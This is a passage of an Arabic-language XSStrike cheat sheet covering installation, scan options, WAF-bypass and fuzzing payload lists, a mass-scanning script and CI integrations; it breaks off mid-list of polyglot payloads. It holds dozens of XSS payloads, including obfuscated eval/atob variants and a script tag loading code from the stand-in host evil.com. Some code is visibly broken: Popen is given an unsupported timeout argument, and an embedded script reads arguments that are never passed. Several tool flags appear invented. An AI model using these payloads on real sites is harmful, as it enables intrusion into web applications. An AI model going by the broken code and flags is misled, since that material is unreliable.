تخطَّ إلى المحتوى

دليل XSStrike المختصر

نظرة عامة

XSStrike هو إطار متقدم للكشف عن ثغرات XSS واستغلالها، متخصص في تجاوز جدران الحماية (WAFs)، وتحليل XSS القائم على DOM، وإنشاء أحمال مدركة للسياق. يتميز بالمسح الذكي، وقدرات الفحص العشوائي، وتقنيات متطورة لإنشاء الأحمال لاختبار أمن تطبيقات الويب الحديثة.

💡 الميزات الرئيسية: تقنيات تجاوز جدران الحماية، تحليل XSS القائم على DOM، المسح الذكي، إنشاء أحمال مدركة للسياق، قدرات الفحص العشوائي، وإعداد تقارير شاملة.

التثبيت والإعداد

التثبيت عبر Git

# Clone XSStrike repository
git clone https://github.com/s0md3v/XSStrike.git
cd XSStrike

# Install Python dependencies
pip3 install -r requirements.txt

# Alternative: Install dependencies manually
pip3 install requests lxml beautifulsoup4 urllib3 fuzzywuzzy

# Verify installation
python3 xsstrike.py --help

# Make executable (optional)
chmod +x xsstrike.py
sudo ln -s $(pwd)/xsstrike.py /usr/local/bin/xsstrike

# Test basic functionality
python3 xsstrike.py -u https://httpbin.org/get

إعداد البيئة الافتراضية

# Create virtual environment
python3 -m venv xsstrike-env
source xsstrike-env/bin/activate

# Install XSStrike
git clone https://github.com/s0md3v/XSStrike.git
cd XSStrike
pip install -r requirements.txt

# Create activation script
cat > activate_xsstrike.sh << 'EOF'
#!/bin/bash
cd /path/to/XSStrike
source ../xsstrike-env/bin/activate
python3 xsstrike.py "$@"
EOF

chmod +x activate_xsstrike.sh
sudo mv activate_xsstrike.sh /usr/local/bin/xsstrike

# Usage
xsstrike -u https://example.com

التثبيت عبر Docker

# Create Dockerfile
cat > Dockerfile << 'EOF'
FROM python:3.9-slim

WORKDIR /app

# Install system dependencies
RUN apt-get update && apt-get install -y \
    git \
    && rm -rf /var/lib/apt/lists/*

# Clone XSStrike
RUN git clone https://github.com/s0md3v/XSStrike.git .

# Install Python dependencies
RUN pip install -r requirements.txt

# Create entrypoint
ENTRYPOINT ["python3", "xsstrike.py"]
EOF

# Build Docker image
docker build -t xsstrike .

# Run XSStrike in Docker
docker run --rm xsstrike -u https://example.com

# Create alias for easier usage
echo 'alias xsstrike="docker run --rm -v $(pwd):/output xsstrike"' >> ~/.bashrc
source ~/.bashrc

# Run with volume mount for output
docker run --rm -v $(pwd):/output xsstrike -u https://example.com --file-log-level INFO

الإعداد والتهيئة

# Create configuration directory
mkdir -p ~/.xsstrike

# Create custom configuration file
cat > ~/.xsstrike/config.py << 'EOF'
# XSStrike Configuration

# User agents for requests
user_agents = [
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36',
    'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'
]

# Request timeout settings
timeout = 30
retries = 3

# Threading settings
threads = 10
delay = 1

# WAF detection settings
waf_detection = True
waf_bypass = True

# Crawling settings
crawl_depth = 2
crawl_forms = True
crawl_links = True

# Payload settings
payload_level = 6
skip_dom = False
skip_reflected = False

# Output settings
verbose = True
log_file = True
log_level = 'INFO'
EOF

# Create custom payloads file
cat > ~/.xsstrike/custom_payloads.txt << 'EOF'
<script>alert('XSStrike Custom')</script>
<img src=x onerror=alert('XSStrike')>
<svg onload=alert('XSStrike')>
javascript:alert('XSStrike')
<iframe src=javascript:alert('XSStrike')>
<body onload=alert('XSStrike')>
<input onfocus=alert('XSStrike') autofocus>
<select onfocus=alert('XSStrike') autofocus>
<textarea onfocus=alert('XSStrike') autofocus>
<keygen onfocus=alert('XSStrike') autofocus>
EOF

# Set environment variables
export XSSTRIKE_CONFIG=~/.xsstrike/config.py
export XSSTRIKE_PAYLOADS=~/.xsstrike/custom_payloads.txt

الاستخدام الأساسي والأوامر

مسح عنوان URL واحد

# Basic XSS scan
python3 xsstrike.py -u https://example.com

# Scan with specific parameter
python3 xsstrike.py -u "https://example.com?param=test"

# Scan with custom headers
python3 xsstrike.py -u https://example.com --headers

# Scan with authentication cookie
python3 xsstrike.py -u https://example.com --cookie "session=abc123"

# Scan with custom user agent
python3 xsstrike.py -u https://example.com --user-agent "Custom Agent"

# Scan with proxy
python3 xsstrike.py -u https://example.com --proxy http://127.0.0.1:8080

# Scan with timeout
python3 xsstrike.py -u https://example.com --timeout 60

# Verbose output
python3 xsstrike.py -u https://example.com -v

# Skip DOM-based XSS detection
python3 xsstrike.py -u https://example.com --skip-dom

اختبار بيانات POST والنماذج

# Test POST parameters
python3 xsstrike.py -u https://example.com --data "username=admin&password=test"

# Test with custom content type
python3 xsstrike.py -u https://example.com --data "param=value" --content-type "application/x-www-form-urlencoded"

# Test JSON data
python3 xsstrike.py -u https://example.com --data '{"param":"value"}' --content-type "application/json"

# Test multipart form data
python3 xsstrike.py -u https://example.com --data "param=value" --content-type "multipart/form-data"

# Test with file upload
python3 xsstrike.py -u https://example.com --data "file=@test.txt&param=value"

# Test specific HTTP methods
python3 xsstrike.py -u https://example.com --method POST --data "param=value"
python3 xsstrike.py -u https://example.com --method PUT --data "param=value"
python3 xsstrike.py -u https://example.com --method PATCH --data "param=value"

المسح والاكتشاف

# Enable crawling
python3 xsstrike.py -u https://example.com --crawl

# Set crawl depth
python3 xsstrike.py -u https://example.com --crawl --depth 3

# Crawl with threading
python3 xsstrike.py -u https://example.com --crawl --threads 20

# Crawl and test forms
python3 xsstrike.py -u https://example.com --crawl --forms

# Crawl with delay
python3 xsstrike.py -u https://example.com --crawl --delay 2

# Crawl specific paths only
python3 xsstrike.py -u https://example.com --crawl --include "/admin,/api"

# Exclude specific paths
python3 xsstrike.py -u https://example.com --crawl --exclude "/static,/images"

# Crawl with custom scope
python3 xsstrike.py -u https://example.com --crawl --scope "example.com"

الكشف المتقدم عن XSS واستغلالها

تقنيات تجاوز جدران الحماية

# Enable WAF bypass mode
python3 xsstrike.py -u https://example.com --waf-bypass

# Use specific encoding techniques
python3 xsstrike.py -u https://example.com --encode

# Custom payload level for WAF bypass
python3 xsstrike.py -u https://example.com --level 6

# Skip WAF detection
python3 xsstrike.py -u https://example.com --skip-waf

# Use fuzzing for WAF bypass
python3 xsstrike.py -u https://example.com --fuzzer

# Custom WAF bypass payloads
cat > waf_bypass_payloads.txt << 'EOF'
<ScRiPt>alert(1)</ScRiPt>
<script>alert(String.fromCharCode(88,83,83))</script>
<svg/onload=alert(1)>
<img src=x onerror=alert(1)>
<iframe src=javascript:alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>
<textarea onfocus=alert(1) autofocus>
<keygen onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
EOF

python3 xsstrike.py -u https://example.com --payloads waf_bypass_payloads.txt

تحليل XSS القائم على DOM

# Enable DOM analysis
python3 xsstrike.py -u https://example.com --dom

# Deep DOM analysis
python3 xsstrike.py -u https://example.com --dom --depth 5

# DOM analysis with JavaScript execution
python3 xsstrike.py -u https://example.com --dom --js

# Analyze specific DOM sinks
python3 xsstrike.py -u https://example.com --dom --sinks "innerHTML,outerHTML,document.write"

# DOM analysis with custom payloads
python3 xsstrike.py -u https://example.com --dom --payloads dom_payloads.txt

# Skip reflected XSS, focus on DOM
python3 xsstrike.py -u https://example.com --skip-reflected --dom

# DOM analysis with browser simulation
python3 xsstrike.py -u https://example.com --dom --browser

# Analyze DOM with specific sources
python3 xsstrike.py -u https://example.com --dom --sources "location.hash,location.search,document.referrer"

الفحص العشوائي وإنشاء الأحمال

# Enable fuzzing mode
python3 xsstrike.py -u https://example.com --fuzzer

# Fuzzing with custom wordlist
python3 xsstrike.py -u https://example.com --fuzzer --wordlist custom_fuzz.txt

# Fuzzing with specific parameters
python3 xsstrike.py -u https://example.com --fuzzer --params "param1,param2"

# Fuzzing with encoding
python3 xsstrike.py -u https://example.com --fuzzer --encode

# Fuzzing with threading
python3 xsstrike.py -u https://example.com --fuzzer --threads 50

# Custom fuzzing payloads
cat > fuzz_payloads.txt << 'EOF'
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
javascript:alert(1)
<iframe src=javascript:alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>
<textarea onfocus=alert(1) autofocus>
<keygen onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<embed src=javascript:alert(1)>
<object data=javascript:alert(1)>
<applet code=javascript:alert(1)>
<meta http-equiv=refresh content=0;url=javascript:alert(1)>
<link rel=stylesheet href=javascript:alert(1)>
<style>@import'javascript:alert(1)';</style>
<base href=javascript:alert(1)//>
<form action=javascript:alert(1)><input type=submit>
<button formaction=javascript:alert(1)>Click</button>
<math><mi//xlink:href=data:x,<script>alert(1)</script>
<svg><use href=data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><image href='1' onerror='alert(1)'/></svg>#x>
EOF

python3 xsstrike.py -u https://example.com --fuzzer --payloads fuzz_payloads.txt

الأتمتة والتكامل

المعالجة الدفعية والمسح الشامل

#!/usr/bin/env python3
# XSStrike automation script for mass scanning

import subprocess
import json
import threading
import time
import os
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse

class XSStrikeMassScanner:
    def __init__(self, max_workers=10, timeout=300):
        self.max_workers = max_workers
        self.timeout = timeout
        self.results = []
        self.lock = threading.Lock()
        
    def scan_target(self, target, options=None):
        """Scan single target with XSStrike"""
        
        if options is None:
            options = {}
        
        # Build XSStrike command
        cmd = ['python3', 'xsstrike.py', '-u', target]
        
        # Add options
        if options.get('crawl'):
            cmd.append('--crawl')
        
        if options.get('dom'):
            cmd.append('--dom')
        
        if options.get('waf_bypass'):
            cmd.append('--waf-bypass')
        
        if options.get('level'):
            cmd.extend(['--level', str(options['level'])])
        
        if options.get('threads'):
            cmd.extend(['--threads', str(options['threads'])])
        
        if options.get('timeout'):
            cmd.extend(['--timeout', str(options['timeout'])])
        
        if options.get('headers'):
            for header in options['headers']:
                cmd.extend(['--header', header])
        
        if options.get('cookie'):
            cmd.extend(['--cookie', options['cookie']])
        
        if options.get('proxy'):
            cmd.extend(['--proxy', options['proxy']])
        
        try:
            print(f"Scanning: {target}")
            
            # Run XSStrike
            process = subprocess.Popen(
                cmd,
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
                universal_newlines=True,
                timeout=self.timeout
            )
            
            stdout, stderr = process.communicate()
            
            # Parse results
            result = {
                'target': target,
                'timestamp': time.time(),
                'success': process.returncode == 0,
                'stdout': stdout,
                'stderr': stderr,
                'vulnerabilities': self.parse_xsstrike_output(stdout)
            }
            
            with self.lock:
                self.results.append(result)
            
            return result
            
        except subprocess.TimeoutExpired:
            print(f"Timeout scanning: {target}")
            return {
                'target': target,
                'timestamp': time.time(),
                'success': False,
                'error': 'timeout',
                'vulnerabilities': []
            }
        
        except Exception as e:
            print(f"Error scanning {target}: {e}")
            return {
                'target': target,
                'timestamp': time.time(),
                'success': False,
                'error': str(e),
                'vulnerabilities': []
            }
    
    def parse_xsstrike_output(self, output):
        """Parse XSStrike output to extract vulnerabilities"""
        
        vulnerabilities = []
        lines = output.split('\n')
        
        for line in lines:
            # Look for vulnerability indicators
            if 'XSS' in line and ('found' in line.lower() or 'vulnerable' in line.lower()):
                # Extract vulnerability information
                vuln = {
                    'type': 'XSS',
                    'description': line.strip(),
                    'severity': 'High'
                }
                
                # Try to extract more details
                if 'DOM' in line:
                    vuln['type'] = 'DOM-based XSS'
                elif 'Reflected' in line:
                    vuln['type'] = 'Reflected XSS'
                elif 'Stored' in line:
                    vuln['type'] = 'Stored XSS'
                
                vulnerabilities.append(vuln)
        
        return vulnerabilities
    
    def scan_targets_from_file(self, targets_file, options=None):
        """Scan multiple targets from file"""
        
        with open(targets_file, 'r') as f:
            targets = [line.strip() for line in f if line.strip()]
        
        return self.scan_targets(targets, options)
    
    def scan_targets(self, targets, options=None):
        """Scan multiple targets concurrently"""
        
        print(f"Starting mass scan of {len(targets)} targets")
        print(f"Max workers: {self.max_workers}")
        print(f"Timeout: {self.timeout}s")
        
        with ThreadPoolExecutor(max_workers=self.max_workers) as executor:
            # Submit all tasks
            future_to_target = {
                executor.submit(self.scan_target, target, options): target 
                for target in targets
            }
            
            # Process completed tasks
            for future in as_completed(future_to_target):
                target = future_to_target[future]
                try:
                    result = future.result()
                    if result['success'] and result['vulnerabilities']:
                        print(f"✓ Vulnerabilities found in: {target}")
                    else:
                        print(f"- No vulnerabilities in: {target}")
                except Exception as e:
                    print(f"✗ Error scanning {target}: {e}")
        
        return self.results
    
    def generate_report(self, output_file='xsstrike_report.json'):
        """Generate comprehensive report"""
        
        # Calculate statistics
        total_targets = len(self.results)
        successful_scans = sum(1 for r in self.results if r['success'])
        vulnerable_targets = sum(1 for r in self.results if r['vulnerabilities'])
        total_vulnerabilities = sum(len(r['vulnerabilities']) for r in self.results)
        
        report = {
            'scan_summary': {
                'total_targets': total_targets,
                'successful_scans': successful_scans,
                'vulnerable_targets': vulnerable_targets,
                'total_vulnerabilities': total_vulnerabilities,
                'success_rate': (successful_scans / total_targets * 100) if total_targets > 0 else 0,
                'vulnerability_rate': (vulnerable_targets / successful_scans * 100) if successful_scans > 0 else 0
            },
            'scan_results': self.results,
            'vulnerable_targets': [
                r for r in self.results if r['vulnerabilities']
            ]
        }
        
        # Save report
        with open(output_file, 'w') as f:
            json.dump(report, f, indent=2)
        
        print(f"Report saved to: {output_file}")
        
        # Generate summary
        print("\nScan Summary:")
        print(f"Total targets: {total_targets}")
        print(f"Successful scans: {successful_scans}")
        print(f"Vulnerable targets: {vulnerable_targets}")
        print(f"Total vulnerabilities: {total_vulnerabilities}")
        print(f"Success rate: {report['scan_summary']['success_rate']:.1f}%")
        print(f"Vulnerability rate: {report['scan_summary']['vulnerability_rate']:.1f}%")
        
        return report

# Usage example
if __name__ == "__main__":
    # Create scanner instance
    scanner = XSStrikeMassScanner(max_workers=5, timeout=300)
    
    # Define scan options
    scan_options = {
        'crawl': True,
        'dom': True,
        'waf_bypass': True,
        'level': 6,
        'threads': 10,
        'timeout': 60
    }
    
    # Scan targets from file
    targets = [
        'https://example.com',
        'https://test.com',
        'https://demo.com'
    ]
    
    # Run scan
    results = scanner.scan_targets(targets, scan_options)
    
    # Generate report
    report = scanner.generate_report('xsstrike_mass_scan_report.json')

التكامل مع CI/CD

#!/bin/bash
# CI/CD script for XSStrike integration

set -e

TARGET_URL="$1"
OUTPUT_DIR="$2"
THRESHOLD="$3"

if [ -z "$TARGET_URL" ] || [ -z "$OUTPUT_DIR" ]; then
    echo "Usage: $0 <target_url> <output_dir> [threshold]"
    exit 1
fi

THRESHOLD=${THRESHOLD:-0}  # Default: fail on any XSS found

echo "Starting XSS scan with XSStrike..."
echo "Target: $TARGET_URL"
echo "Output directory: $OUTPUT_DIR"
echo "Threshold: $THRESHOLD vulnerabilities"

mkdir -p "$OUTPUT_DIR"

# Install XSStrike if not present
if [ ! -d "XSStrike" ]; then
    echo "Installing XSStrike..."
    git clone https://github.com/s0md3v/XSStrike.git
    cd XSStrike
    pip3 install -r requirements.txt
    cd ..
fi

# Run XSStrike scan
cd XSStrike

python3 xsstrike.py \
    -u "$TARGET_URL" \
    --crawl \
    --dom \
    --waf-bypass \
    --level 6 \
    --threads 10 \
    --timeout 60 \
    -v > "../$OUTPUT_DIR/xsstrike-output.txt" 2>&1

cd ..

# Parse results
VULN_COUNT=$(grep -c "XSS" "$OUTPUT_DIR/xsstrike-output.txt" || echo "0")

echo "Found $VULN_COUNT potential XSS vulnerabilities"

# Generate summary report
cat > "$OUTPUT_DIR/xss-summary.txt" << EOF
XSS Security Scan Summary
========================
Date: $(date)
Target: $TARGET_URL
Scanner: XSStrike
Potential Vulnerabilities: $VULN_COUNT
Threshold: $THRESHOLD

Status: $(if [ "$VULN_COUNT" -le "$THRESHOLD" ]; then echo "PASS"; else echo "FAIL"; fi)
EOF

# Generate detailed report
python3 << 'PYTHON_EOF'
import sys
import re
import json
from datetime import datetime

output_dir = sys.argv[1]
target_url = sys.argv[2]

# Read XSStrike output
with open(f"{output_dir}/xsstrike-output.txt", 'r') as f:
    output = f.read()

# Parse vulnerabilities
vulnerabilities = []
lines = output.split('\n')

for i, line in enumerate(lines):
    if 'XSS' in line and ('found' in line.lower() or 'vulnerable' in line.lower()):
        vuln = {
            'line_number': i + 1,
            'description': line.strip(),
            'type': 'XSS',
            'severity': 'High'
        }
        
        # Try to extract more context
        if i > 0:
            vuln['context'] = lines[i-1].strip()
        if i < len(lines) - 1:
            vuln['details'] = lines[i+1].strip()
        
        # Determine XSS type
        if 'DOM' in line:
            vuln['type'] = 'DOM-based XSS'
        elif 'Reflected' in line:
            vuln['type'] = 'Reflected XSS'
        elif 'Stored' in line:
            vuln['type'] = 'Stored XSS'
        
        vulnerabilities.append(vuln)

# Create detailed report
report = {
    'scan_info': {
        'target': target_url,
        'scanner': 'XSStrike',
        'scan_date': datetime.now().isoformat(),
        'vulnerability_count': len(vulnerabilities)
    },
    'vulnerabilities': vulnerabilities,
    'raw_output': output
}

# Save JSON report
with open(f"{output_dir}/xsstrike-report.json", 'w') as f:
    json.dump(report, f, indent=2)

# Generate HTML report
html_content = f"""
<!DOCTYPE html>
<html>
<head>
    <title>XSStrike Scan Report</title>
    <style>
        body {{ font-family: Arial, sans-serif; margin: 20px; }}
        .header {{ background-color: #f0f0f0; padding: 20px; border-radius: 5px; }}
        .vuln {{ margin: 10px 0; padding: 15px; border-left: 4px solid #dc3545; background-color: #f8f9fa; }}
        .safe {{ color: #28a745; }}
        .danger {{ color: #dc3545; }}
        table {{ border-collapse: collapse; width: 100%; margin: 20px 0; }}
        th, td {{ border: 1px solid #ddd; padding: 8px; text-align: left; }}
        th {{ background-color: #f2f2f2; }}
        .code {{ background-color: #f8f9fa; padding: 10px; border-radius: 3px; font-family: monospace; }}
    </style>
</head>
<body>
    <div class="header">
        <h1>XSStrike Scan Report</h1>
        <p><strong>Target:</strong> {target_url}</p>
        <p><strong>Scan Date:</strong> {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}</p>
        <p><strong>Vulnerabilities Found:</strong> <span class="{'danger' if len(vulnerabilities) > 0 else 'safe'}">{len(vulnerabilities)}</span></p>
    </div>
    
    <h2>Vulnerability Details</h2>
"""

if vulnerabilities:
    html_content += "<table><tr><th>Type</th><th>Description</th><th>Context</th><th>Details</th></tr>"
    for vuln in vulnerabilities:
        html_content += f"""
        <tr>
            <td>{vuln.get('type', 'XSS')}</td>
            <td>{vuln.get('description', '')}</td>
            <td><div class="code">{vuln.get('context', '')}</div></td>
            <td><div class="code">{vuln.get('details', '')}</div></td>
        </tr>
        """
    html_content += "</table>"
else:
    html_content += "<p class='safe'>No XSS vulnerabilities detected.</p>"

html_content += """
    <h2>Raw Output</h2>
    <div class="code">
        <pre>{}</pre>
    </div>
</body>
</html>
""".format(output.replace('<', '&lt;').replace('>', '&gt;'))

with open(f"{output_dir}/xsstrike-report.html", 'w') as f:
    f.write(html_content)

print(f"Detailed reports generated:")
print(f"- JSON: {output_dir}/xsstrike-report.json")
print(f"- HTML: {output_dir}/xsstrike-report.html")
PYTHON_EOF

# Check threshold and exit
if [ "$VULN_COUNT" -gt "$THRESHOLD" ]; then
    echo "ERROR: Found $VULN_COUNT vulnerabilities, exceeds threshold of $THRESHOLD"
    exit 1
else
    echo "SUCCESS: Vulnerability count within acceptable threshold"
    exit 0
fi

التكامل مع GitHub Actions

# .github/workflows/xsstrike-security-scan.yml
name: XSStrike XSS Security Scan

on:
  push:
    branches: [ main, develop ]
  pull_request:
    branches: [ main ]
  schedule:
    - cron: '0 3 * * 2'  # Weekly scan on Tuesdays at 3 AM

jobs:
  xss-scan:
    runs-on: ubuntu-latest
    
    steps:
    - uses: actions/checkout@v3
    
    - name: Setup Python
      uses: actions/setup-python@v4
      with:
        python-version: '3.9'
    
    - name: Install XSStrike
      run: |
        git clone https://github.com/s0md3v/XSStrike.git
        cd XSStrike
        pip install -r requirements.txt
        cd ..
    
    - name: Start application
      run: |
        # Start your web application here
        npm start &
        sleep 30  # Wait for application to start
    
    - name: Run XSStrike scan
      run: |
        mkdir -p scan-results
        
        cd XSStrike
        
        # Scan main application
        python3 xsstrike.py \
          -u http://localhost:3000 \
          --crawl \
          --dom \
          --waf-bypass \
          --level 6 \
          --threads 10 \
          --timeout 60 \
          -v > ../scan-results/main-scan.txt 2>&1
        
        # Scan API endpoints
        python3 xsstrike.py \
          -u http://localhost:3000/api \
          --crawl \
          --dom \
          --level 6 \
          --threads 10 \
          --timeout 60 \
          -v > ../scan-results/api-scan.txt 2>&1
        
        # Scan with authentication
        python3 xsstrike.py \
          -u http://localhost:3000/dashboard \
          --cookie "session=${{ secrets.TEST_SESSION_COOKIE }}" \
          --crawl \
          --dom \
          --level 6 \
          -v > ../scan-results/auth-scan.txt 2>&1
        
        cd ..
    
    - name: Process scan results
      run: |
        # Count total vulnerabilities
        VULN_COUNT=$(grep -c "XSS" scan-results/*.txt || echo "0")
        echo "VULN_COUNT=$VULN_COUNT" >> $GITHUB_ENV
        
        # Generate summary
        echo "XSS vulnerabilities found: $VULN_COUNT" > scan-results/summary.txt
        
        # Combine all scan outputs
        cat scan-results/*.txt > scan-results/combined-output.txt
    
    - name: Upload scan results
      uses: actions/upload-artifact@v3
      with:
        name: xsstrike-scan-results
        path: scan-results/
    
    - name: Comment PR with results
      if: github.event_name == 'pull_request'
      uses: actions/github-script@v6
      with:
        script: |
          const fs = require('fs');
          const summary = fs.readFileSync('scan-results/summary.txt', 'utf8');
          
          github.rest.issues.createComment({
            issue_number: context.issue.number,
            owner: context.repo.owner,
            repo: context.repo.repo,
            body: `## XSStrike Security Scan Results\n\n\`\`\`\n${summary}\n\`\`\``
          });
    
    - name: Fail if vulnerabilities found
      run: |
        if [ "$VULN_COUNT" -gt "0" ]; then
          echo "XSS vulnerabilities detected! Check the scan results."
          exit 1
        fi

التقنيات والمنهجيات المتقدمة

تطوير الأحمال المخصصة

#!/usr/bin/env python3
# Advanced XSS payload generator for XSStrike

import random
import string
import base64
import urllib.parse
import json
import re

class XSSPayloadGenerator:
    def __init__(self):
        self.contexts = [
            'html', 'attribute', 'javascript', 'css', 'url', 'json', 'xml'
        ]
        
        self.encodings = [
            'url', 'html', 'js', 'base64', 'hex', 'unicode', 'double_url'
        ]
        
        self.waf_bypass_techniques = [
            'case_variation', 'comment_insertion', 'whitespace_variation',
            'encoding_variation', 'tag_variation', 'event_variation',
            'protocol_variation', 'concatenation', 'obfuscation'
        ]
    
    def generate_basic_payloads(self):
        """Generate basic XSS payloads"""
        
        return [
            '<script>alert("XSS")</script>',
            '<img src=x onerror=alert("XSS")>',
            '<svg onload=alert("XSS")>',
            '<iframe src=javascript:alert("XSS")>',
            '<body onload=alert("XSS")>',
            '<input onfocus=alert("XSS") autofocus>',
            '<select onfocus=alert("XSS") autofocus>',
            '<textarea onfocus=alert("XSS") autofocus>',
            '<keygen onfocus=alert("XSS") autofocus>',
            '<marquee onstart=alert("XSS")>',
            '<details open ontoggle=alert("XSS")>',
            '<video><source onerror=alert("XSS")>',
            '<audio src=x onerror=alert("XSS")>',
            '<embed src=javascript:alert("XSS")>',
            '<object data=javascript:alert("XSS")>',
            '<applet code=javascript:alert("XSS")>',
            '<meta http-equiv=refresh content=0;url=javascript:alert("XSS")>',
            '<link rel=stylesheet href=javascript:alert("XSS")>',
            '<style>@import"javascript:alert(\'XSS\')";</style>',
            '<base href=javascript:alert("XSS")//>',
            '<form action=javascript:alert("XSS")><input type=submit>',
            '<button formaction=javascript:alert("XSS")>Click</button>'
        ]
    
    def generate_waf_bypass_payloads(self):
        """Generate WAF bypass payloads"""
        
        return [
            # Case variation
            '<ScRiPt>alert("XSS")</ScRiPt>',
            '<SCRIPT>alert("XSS")</SCRIPT>',
            '<script>ALERT("XSS")</script>',
            
            # Comment insertion
            '<script/**/src=//evil.com></script>',
            '<img/**/src=x/**/onerror=alert("XSS")>',
            '<svg/**/onload=alert("XSS")>',
            
            # Whitespace variation
            '<script\x09>alert("XSS")</script>',
            '<script\x0A>alert("XSS")</script>',
            '<script\x0D>alert("XSS")</script>',
            '<script\x20>alert("XSS")</script>',
            
            # Encoding variation
            '<script>alert(String.fromCharCode(88,83,83))</script>',
            '<script>alert(/XSS/.source)</script>',
            '<script>alert(atob("WFNTCg=="))</script>',
            
            # Tag variation
            '<svg><script>alert("XSS")</script></svg>',
            '<math><script>alert("XSS")</script></math>',
            '<foreignObject><script>alert("XSS")</script></foreignObject>',
            
            # Event variation
            '<img src=x onerror=alert`XSS`>',
            '<img src=x onerror=alert(String.fromCharCode(88,83,83))>',
            '<img src=x onerror=eval(atob("YWxlcnQoIlhTUyIp"))>',
            
            # Protocol variation
            'javascript:alert("XSS")',
            'data:text/html,<script>alert("XSS")</script>',
            'vbscript:alert("XSS")',
            
            # Concatenation
            '<script>eval("ale"+"rt(\'XSS\')")</script>',
            '<script>window["ale"+"rt"]("XSS")</script>',
            '<script>top["ale"+"rt"]("XSS")</script>',
            
            # Obfuscation
            '<script>(_=alert,_(1))</script>',
            '<script>(alert)(1)</script>',
            '<script>alert`1`</script>',
            '<script>[].constructor.constructor("alert(1)")()</script>',
            '<script>Function("alert(1)")()</script>'
        ]
    
    def generate_context_specific_payloads(self, context):
        """Generate payloads for specific injection contexts"""
        
        payloads = []
        
        if context == 'html':
            payloads.extend([
                '<script>alert("XSS")</script>',
                '<img src=x onerror=alert("XSS")>',
                '<svg onload=alert("XSS")>',
                '<iframe src=javascript:alert("XSS")>',
                '<body onload=alert("XSS")>',
                '<input onfocus=alert("XSS") autofocus>',
                '<select onfocus=alert("XSS") autofocus>',
                '<textarea onfocus=alert("XSS") autofocus>',
                '<keygen onfocus=alert("XSS") autofocus>',
                '<video><source onerror=alert("XSS")>'
            ])
        
        elif context == 'attribute':
            payloads.extend([
                '" onmouseover=alert("XSS") "',
                '\' onmouseover=alert("XSS") \'',
                'javascript:alert("XSS")',
                '" onfocus=alert("XSS") autofocus="',
                '\' onfocus=alert("XSS") autofocus=\'',
                '" onload=alert("XSS") "',
                '\' onload=alert("XSS") \'',
                '" onerror=alert("XSS") "',
                '\' onerror=alert("XSS") \'',
                '" onclick=alert("XSS") "',
                '\' onclick=alert("XSS") \''
            ])
        
        elif context == 'javascript':
            payloads.extend([
                'alert("XSS")',
                'confirm("XSS")',
                'prompt("XSS")',
                'console.log("XSS")',
                'eval("alert(\\"XSS\\")")',
                'Function("alert(\\"XSS\\")")()',
                'setTimeout("alert(\\"XSS\\")", 0)',
                'setInterval("alert(\\"XSS\\")", 0)',
                'document.write("XSS")',
                'window.location="javascript:alert(\\"XSS\\")"',
                'top.location="javascript:alert(\\"XSS\\")"',
                'parent.location="javascript:alert(\\"XSS\\")"'
            ])
        
        elif context == 'css':
            payloads.extend([
                'expression(alert("XSS"))',
                'url("javascript:alert(\\"XSS\\")")',
                'behavior:url("javascript:alert(\\"XSS\\")")',
                '@import "javascript:alert(\\"XSS\\")"',
                'background:url("javascript:alert(\\"XSS\\")")',
                'background-image:url("javascript:alert(\\"XSS\\")")',
                'list-style-image:url("javascript:alert(\\"XSS\\")")'
            ])
        
        elif context == 'url':
            payloads.extend([
                'javascript:alert("XSS")',
                'data:text/html,<script>alert("XSS")</script>',
                'vbscript:alert("XSS")',
                'livescript:alert("XSS")',
                'mocha:alert("XSS")',
                'feed:javascript:alert("XSS")',
                'view-source:javascript:alert("XSS")',
                'jar:javascript:alert("XSS")!/',
                'wyciwyg://0/javascript:alert("XSS")'
            ])
        
        elif context == 'json':
            payloads.extend([
                '{"xss":"<script>alert(\\"XSS\\")</script>"}',
                '{"xss":"<img src=x onerror=alert(\\"XSS\\")>"}',
                '{"xss":"javascript:alert(\\"XSS\\")"}',
                '{"xss":"\\u003cscript\\u003ealert(\\"XSS\\")\\u003c/script\\u003e"}',
                '{"xss":"\\x3cscript\\x3ealert(\\"XSS\\")\\x3c/script\\x3e"}'
            ])
        
        elif context == 'xml':
            payloads.extend([
                '<![CDATA[<script>alert("XSS")</script>]]>',
                '<?xml version="1.0"?><root><script>alert("XSS")</script></root>',
                '<xml><script>alert("XSS")</script></xml>',
                '<!--<script>alert("XSS")</script>-->'
            ])
        
        return payloads
    
    def generate_polyglot_payloads(self):
        """Generate polyglot payloads that work in multiple contexts"""
        
        return [
            'javascript:/*--></title></style></textarea></script></xmp><svg/onload=\'+/"/+/onmouseover=1/+/[*/[]/+alert(1)//\'>',
            '"><img src=x onerror=alert(1)>',
            '\';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>',
            '\'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\\></|\\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>\'-->"></script><script>alert(1)</script>"><img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id)>\'">',
            'jaVasCript:/*-/*`/*\\`/*\'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\\x3csVg/<sVg/oNloAd=alert()//',
            '">\'><img src=x onerror=alert(1)>',
            '\'"--></style></script><script>alert(1)</script>',
            '"><svg/onload=alert(1)>',
